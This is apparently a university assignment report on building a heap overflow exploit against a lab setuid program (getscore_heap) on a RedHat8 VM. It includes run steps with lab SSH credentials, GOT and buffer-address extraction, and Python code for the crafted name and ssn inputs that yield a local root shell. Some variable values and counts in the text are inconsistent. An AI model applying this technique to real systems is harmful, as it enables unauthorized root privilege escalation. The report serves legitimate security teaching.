**Jigyas Sharma**

**Dr. Alexandru Bardas**

**EECS 765**

**27 September 2023**

**Programming Assignment 3: Report**

**Introduction**

Based on previous knowledge, for this assignment we move to building an exploit for attacking heaps. Stack overflow assumed having little to no control over the source code. However, when working with heap overflow tendencies, for now, we tend to assume that we have a little access to the source code, nonetheless, we still do not control the source code. Through this assignment, we will attack a program getscore\_heap, which is implemented using a heap by the professor so that students can access their own score from a text file. The program runs with root privileges, therefore, aim to return a local root shell. These concepts can also be combined to return a shell over a port by changing the shell code.

**Running the Exploit**

***Exploit File: RedHat8Heap\_Name.py | RedHat8Heap\_SSN.py***

**Step 1:** SSH into the student profile of RedHat8 by using the command **“ssh** [**student@192.168.32.40**](mailto:student@192.168.32.40)**”. Password: password**

**Step 2:** Use the command **“scp /home/kali/Desktop/RedHat8Heap\_Name.py /home/kali/Desktop/RedHat8Heap\_SSN.py student@192.168.32.40:~”** in your kali terminal to transfer the files over to the Redhat8 virtual box. **Note: path of the file is subject to change.**

**Step 3:** Enter the password for the student profile in Redhat. **Password: password**

**Step 4:** Switch to your ssh terminal and type **“ls”** to check if the files are transferred.

**Step 5:** Assign your environment variables using **“export name=$(python RedHat8Heap\_Name.py”** and **“export ssn=$(python RedHat8Heap\_SSN.py”**.

**Step 6:** Use these variables when running the getscore\_heap program. **“./getscore\_heap $name $ssn”**

A screenshot of a computer

Description automatically generated

Figure 1: Transferring files over scp

A screenshot of a computer

Description automatically generated

Figure 2:Checking if files are received

A screen shot of a computer

Description automatically generated

Figure 3: Local Root Shell

**Developing the Exploit**

Firstly, we examine the given working exploit to us to determine how the basic heap exploit works. Upon examination, the heap overflow is passed in a manner where the first part is a dummy heap and the second part is a fake heap structure. The dummy heap contains the shell code whereas the fake heap structure is used to mislead the compiler. To develop the exploit for a heap overflow attack we need to create a dummy heap and a fake heap structure. The dummy heap is what is going to be passed into the “name” parameter of the “getscore\_heap” and the fake heap structure will be in the input that is passed in as the “ssn” parameter to the “getscore\_heap.

A screen shot of a computer

Description automatically generated

Figure 4:Visualization of dummy and fake heap structure.

From the above visualization, we can figure out that we need to extract the address of the GOT\_entry, the address of the buffer and how many NOPs are required. In this section, we will look at the parameters for the fake heap structure, the dummy heap structure is our malicious input and will be the focus in the section “Generating Malicious Input”. Firstly, to figure out the padding, we use trial and error and put a padding of 15 NOPs. After that, we need 2 words of -1 which are passed as **“\xff\*8”**. Now, the next input required is the GOT\_entry -12. To extract the GOT\_entry, on the RedHat8 terminal, we type “objdump -R getscore\_heap”.

A screenshot of a computer screen

Description automatically generated

Figure 5: GOT Table

The above command gives us the GOT Table for getscore\_heap. From the GOT\_Table, we select the address for free and subtract 12. Now, we need the address of the buffer. To access that we run the program line by line until we reach the first free statement. Now, since the code has an if block which will execute if the correct parameters are passed, we look at the else block which would execute when we pass invalid inputs. When we reach the first instance of “free()”, we check the address of the variable inside free and that is going to be the buffer we will be using.

A computer screen with white text

Description automatically generated

Figure 6: Address of the buffer

Now, to this address we add +8 and use that for our fake heap structure.

**Structure of the Input**

**Determining the Parameters used in the Malicious Input($name)**

***Architecture: Little Endian***

first\_word = "\x58"\*4

second\_word = "\x59"\*4

#print(first\_word)

third\_word = "\x90"\*4 #The four NOPS before the jmp+4

fourth\_word = "\x90\x90\xeb\x04" #this is the nop nop jmp+4

fifth\_word = "\x5a"\*4

padding = "\x90"\*31

exploit = first\_word+second\_word+third\_word+fourth\_word+fifth\_word+shell\_code+padding

print(exploit)

sys.stdout.flush()

Now, referring to figure 4, we can see that the first word is 4 “X”s which is what we have passed in hex as our first word. The second word is 4 “Y”s which are being passed in hex as the second word. The third word is filled with 4 NOPs to account for that word space. The fourth word is the nop nop jmp+4. The fifth word is 4 ”Z”s which are being passed in hex. Lastly, we pass our shell code along with some padding at the end in case it expands.

**Determining the Parameters used in the Malicious Input($ssn)**

***Architecture: Little Endian***

***Address of Buffer: 0x08049ec8 + 8 = 0x08049ed0***

***Address of GOT: 0x08049d30 – 12 = 0x08049d24***

#The GOT Address for free is 08049d30. We -12 and fill in Little Endian

GOT\_Address = '\x30\x9d\x04\x08'

#The buffer address is 8049ec8. To fill the buffer address we do a +8 and fill it in little endian

buffer\_address = '\xc8\x9e\x04\x80'

buf = "\x90"\*15+"\xff"\*8+"\x24\x9d\x04\x08"+"\xd0\x9e\x04\x08"

print(buf)

sys.stdout.flush()

Now, for the fake heap structure, we pass in some NOP sleds, in our trial and error method, it worked with 15 NOPs. The next is 8 “\xff” values which fill in 2 words of -1 for the heap structure. The next is the address of GOT free which is subtracted by 12 and filled in little endian form. Lastly, the buffer address which is added by 8 and is also filled in little endian form.

**Generating Malicious Input**

Referring to figure 4, to generate our malicious input, we use the shell code that is provided to us in the starter exploit and convert it to python. Then we use the figure to generate our malicious input, which contains 5 words spaces before we can get to fill in our shell code. The first is 4 “X” values which are filled in hex, then 5 “Y” values also filled in hex. The next word space is filled with NOP sleds. The fourth word is filled with 2 NOP sleds before we use a jmp+4 instruction to jump over the next word and start accessing our shell code. The shell code then spawns a new shell with the privilege of the program which because of uid is set to root.

**References**

*None Applicable*

**Collaborations**

*None Applicable*